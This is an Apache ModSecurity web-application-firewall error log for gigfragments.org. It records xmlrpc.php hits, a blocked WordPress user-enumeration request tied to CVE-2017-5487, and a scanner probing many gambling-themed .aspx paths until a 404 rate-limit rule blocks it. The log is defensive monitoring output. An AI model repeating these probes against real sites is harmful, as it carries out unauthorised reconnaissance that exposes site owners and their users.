[Thu Mar 26 18:37:22.567148 2026] [:error] [pid 31670:tid 31682] [client 179.126.55.145:64157] [client 179.126.55.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.126.55.145, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acUMYjXVthXxCnWjOTR__AAAAUo"]
[Thu Mar 26 18:39:19.668248 2026] [:error] [pid 19818:tid 19830] [client 179.126.55.145:55332] [client 179.126.55.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.126.55.145, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acUM18zaSnm3d1BeM5X16AAAAMo"]
[Thu Mar 26 18:39:33.656182 2026] [:error] [pid 60829:tid 60835] [client 36.69.117.196:60235] [client 36.69.117.196] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "acUM5fTdjHKeZokybaS5EAAAAQQ"]
[Thu Mar 26 18:41:18.036328 2026] [:error] [pid 31778:tid 31814] [client 36.69.117.196:60902] [client 36.69.117.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.69.117.196, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acUNTg3kybI2o-xasmD5BAAAAdU"]
[Thu Mar 26 18:41:22.299028 2026] [:error] [pid 60829:tid 60833] [client 179.126.55.145:55065] [client 179.126.55.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.126.55.145, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acUNUvTdjHKeZokybaS5XwAAAQI"]
[Thu Mar 26 18:43:12.465077 2026] [:error] [pid 31778:tid 31798] [client 36.69.117.196:61742] [client 36.69.117.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.69.117.196, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acUNwA3kybI2o-xasmD5mwAAAcU"]
[Thu Mar 26 18:43:19.485564 2026] [:error] [pid 31670:tid 31681] [client 179.126.55.145:64891] [client 179.126.55.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.126.55.145, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acUNxzXVthXxCnWjOTSCfQAAAUk"]
[Thu Mar 26 18:45:21.636230 2026] [:error] [pid 31717:tid 31731] [client 36.69.117.196:62763] [client 36.69.117.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.69.117.196, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acUOQb-SCF7YDISDX4_gdQAAAYk"]
[Thu Mar 26 18:47:16.541684 2026] [:error] [pid 31670:tid 31684] [client 36.69.117.196:63769] [client 36.69.117.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.69.117.196, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acUOtDXVthXxCnWjOTSEzgAAAUw"]
[Thu Mar 26 19:22:08.435753 2026] [:error] [pid 31778:tid 31794] [client 147.135.252.179:33986] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "acUW4A3kybI2o-xasmADNgAAAcE"]
[Thu Mar 26 19:22:10.335698 2026] [:error] [pid 31778:tid 31802] [client 147.135.252.179:37092] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "acUW4g3kybI2o-xasmADOQAAAck"]
[Thu Mar 26 19:22:12.458086 2026] [:error] [pid 19818:tid 19844] [client 147.135.252.179:37100] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "acUW5MzaSnm3d1BeM5UH_wAAANg"]
[Thu Mar 26 19:22:14.553785 2026] [:error] [pid 31670:tid 31687] [client 147.135.252.179:37114] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "acUW5jXVthXxCnWjOTSVAwAAAU8"]
[Thu Mar 26 19:22:16.337754 2026] [:error] [pid 31670:tid 31679] [client 147.135.252.179:37120] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "acUW6DXVthXxCnWjOTSVEgAAAUc"]
[Thu Mar 26 19:22:18.310566 2026] [:error] [pid 31670:tid 31696] [client 147.135.252.179:47058] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "acUW6jXVthXxCnWjOTSVHgAAAVg"]
[Thu Mar 26 19:22:20.398570 2026] [:error] [pid 19818:tid 19830] [client 147.135.252.179:47070] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "acUW7MzaSnm3d1BeM5UICAAAAMo"]
[Thu Mar 26 19:22:22.310244 2026] [:error] [pid 31778:tid 31803] [client 147.135.252.179:47076] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "acUW7g3kybI2o-xasmADRAAAAco"]
[Thu Mar 26 19:22:24.100838 2026] [:error] [pid 19818:tid 19829] [client 147.135.252.179:47092] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "acUW8MzaSnm3d1BeM5UICwAAAMk"]
[Thu Mar 26 19:22:26.044638 2026] [:error] [pid 31717:tid 31729] [client 147.135.252.179:47094] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "acUW8r-SCF7YDISDX4_l-wAAAYc"]
[Thu Mar 26 19:22:27.981778 2026] [:error] [pid 60829:tid 60831] [client 147.135.252.179:47096] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "acUW8_TdjHKeZokybaTBKAAAAQA"]
[Thu Mar 26 19:22:30.068368 2026] [:error] [pid 19710:tid 19741] [client 147.135.252.179:41492] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "acUW9gVEWP8Ar68Njk4EIgAAABM"]
[Thu Mar 26 19:22:32.025854 2026] [:error] [pid 31717:tid 31732] [client 147.135.252.179:41506] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "acUW-L-SCF7YDISDX4_mBQAAAYo"]
[Thu Mar 26 19:22:34.121815 2026] [:error] [pid 31780:tid 31837] [client 147.135.252.179:41508] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "acUW-pJDwZsy5O4ZXEii6wAAAhA"]
[Thu Mar 26 19:22:35.938649 2026] [:error] [pid 19712:tid 19782] [client 147.135.252.179:41510] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "acUW-9WhKhRNqm23vFMf-gAAAIY"]
[Thu Mar 26 19:22:38.034279 2026] [:error] [pid 19711:tid 19750] [client 147.135.252.179:41518] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "acUW_mj3l1y81GYfluSU1QAAAEE"]
[Thu Mar 26 19:22:39.979373 2026] [:error] [pid 19712:tid 19776] [client 147.135.252.179:40100] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "acUW_9WhKhRNqm23vFMf_gAAAIA"]
[Thu Mar 26 19:22:42.111550 2026] [:error] [pid 60829:tid 60850] [client 147.135.252.179:40112] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "acUXAvTdjHKeZokybaTBMgAAARM"]
[Thu Mar 26 19:22:43.933811 2026] [:error] [pid 60829:tid 60834] [client 147.135.252.179:40124] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "acUXA_TdjHKeZokybaTBOgAAAQM"]
[Thu Mar 26 19:22:45.967514 2026] [:error] [pid 31778:tid 31806] [client 147.135.252.179:40134] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "acUXBQ3kybI2o-xasmADVQAAAc0"]
[Thu Mar 26 19:22:47.934943 2026] [:error] [pid 31778:tid 31811] [client 147.135.252.179:40142] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "acUXBw3kybI2o-xasmADWgAAAdI"]
[Thu Mar 26 19:22:49.871854 2026] [:error] [pid 19818:tid 19821] [client 147.135.252.179:45182] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "acUXCczaSnm3d1BeM5UIJAAAAME"]
[Thu Mar 26 19:22:51.821091 2026] [:error] [pid 31778:tid 31817] [client 147.135.252.179:45184] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "acUXCw3kybI2o-xasmADXQAAAdg"]
[Thu Mar 26 19:22:53.897907 2026] [:error] [pid 19712:tid 19790] [client 147.135.252.179:45200] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "acUXDdWhKhRNqm23vFMgFwAAAI4"]
[Thu Mar 26 19:22:55.700842 2026] [:error] [pid 19712:tid 19786] [client 147.135.252.179:45206] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "acUXD9WhKhRNqm23vFMgGwAAAIo"]
[Thu Mar 26 19:22:57.663641 2026] [:error] [pid 19712:tid 19780] [client 147.135.252.179:45220] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "acUXEdWhKhRNqm23vFMgIgAAAIQ"]
[Thu Mar 26 19:22:59.796359 2026] [:error] [pid 60829:tid 60852] [client 147.135.252.179:34588] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "acUXE_TdjHKeZokybaTBSgAAARU"]
[Thu Mar 26 19:23:01.729077 2026] [:error] [pid 60829:tid 60850] [client 147.135.252.179:34602] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "acUXFfTdjHKeZokybaTBUAAAARM"]
[Thu Mar 26 19:23:03.828510 2026] [:error] [pid 31670:tid 31684] [client 147.135.252.179:34608] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "acUXFzXVthXxCnWjOTSVSQAAAUw"]
[Thu Mar 26 19:23:39.114348 2026] [:error] [pid 31670:tid 31677] [client 147.135.252.179:34616] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "acUXOzXVthXxCnWjOTSVogAAAUU"]
[Thu Mar 26 19:23:41.092404 2026] [:error] [pid 31670:tid 31685] [client 147.135.252.179:45394] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "acUXPTXVthXxCnWjOTSVqwAAAU0"]
[Thu Mar 26 19:23:42.972849 2026] [:error] [pid 31670:tid 31674] [client 147.135.252.179:45402] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "acUXPjXVthXxCnWjOTSVtgAAAUI"]
[Thu Mar 26 19:23:45.006457 2026] [:error] [pid 19818:tid 19829] [client 147.135.252.179:45418] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "acUXQczaSnm3d1BeM5UIswAAAMk"]
[Thu Mar 26 19:23:46.871402 2026] [:error] [pid 31670:tid 31694] [client 147.135.252.179:45432] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "acUXQjXVthXxCnWjOTSVwQAAAVY"]
[Thu Mar 26 19:23:48.918619 2026] [:error] [pid 19818:tid 19821] [client 147.135.252.179:55536] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "acUXRMzaSnm3d1BeM5UIwAAAAME"]
[Thu Mar 26 19:23:50.803613 2026] [:error] [pid 19710:tid 19735] [client 147.135.252.179:55540] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "acUXRgVEWP8Ar68Njk4ERAAAAA0"]
[Thu Mar 26 19:23:52.857613 2026] [:error] [pid 31717:tid 31742] [client 147.135.252.179:55554] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "acUXSL-SCF7YDISDX4_mLQAAAZQ"]
[Thu Mar 26 19:23:54.737661 2026] [:error] [pid 31717:tid 31738] [client 147.135.252.179:55558] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "acUXSr-SCF7YDISDX4_mNQAAAZA"]
[Thu Mar 26 19:23:56.765116 2026] [:error] [pid 31780:tid 31839] [client 147.135.252.179:55562] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "acUXTJJDwZsy5O4ZXEijKQAAAhI"]
[Thu Mar 26 19:23:58.631808 2026] [:error] [pid 31717:tid 31733] [client 147.135.252.179:57890] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "acUXTr-SCF7YDISDX4_mOwAAAYs"]
[Thu Mar 26 19:24:00.680870 2026] [:error] [pid 31670:tid 31693] [client 147.135.252.179:57900] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "acUXUDXVthXxCnWjOTSV0gAAAVU"]
[Thu Mar 26 19:24:02.543216 2026] [:error] [pid 31780:tid 31839] [client 147.135.252.179:57916] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "acUXUpJDwZsy5O4ZXEijNAAAAhI"]
[Thu Mar 26 19:24:04.434638 2026] [:error] [pid 19818:tid 19841] [client 147.135.252.179:57918] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "acUXVMzaSnm3d1BeM5UIyQAAANU"]
[Thu Mar 26 19:24:06.477311 2026] [:error] [pid 31670:tid 31696] [client 147.135.252.179:57928] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "acUXVjXVthXxCnWjOTSV5AAAAVg"]
[Thu Mar 26 19:24:08.354978 2026] [:error] [pid 19711:tid 19760] [client 147.135.252.179:34942] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "acUXWGj3l1y81GYfluSU-wAAAEs"]
[Thu Mar 26 19:24:10.393697 2026] [:error] [pid 31778:tid 31804] [client 147.135.252.179:34944] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "acUXWg3kybI2o-xasmADowAAAcs"]
[Thu Mar 26 19:24:12.418033 2026] [:error] [pid 19710:tid 19724] [client 147.135.252.179:34958] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "acUXXAVEWP8Ar68Njk4EVAAAAAI"]
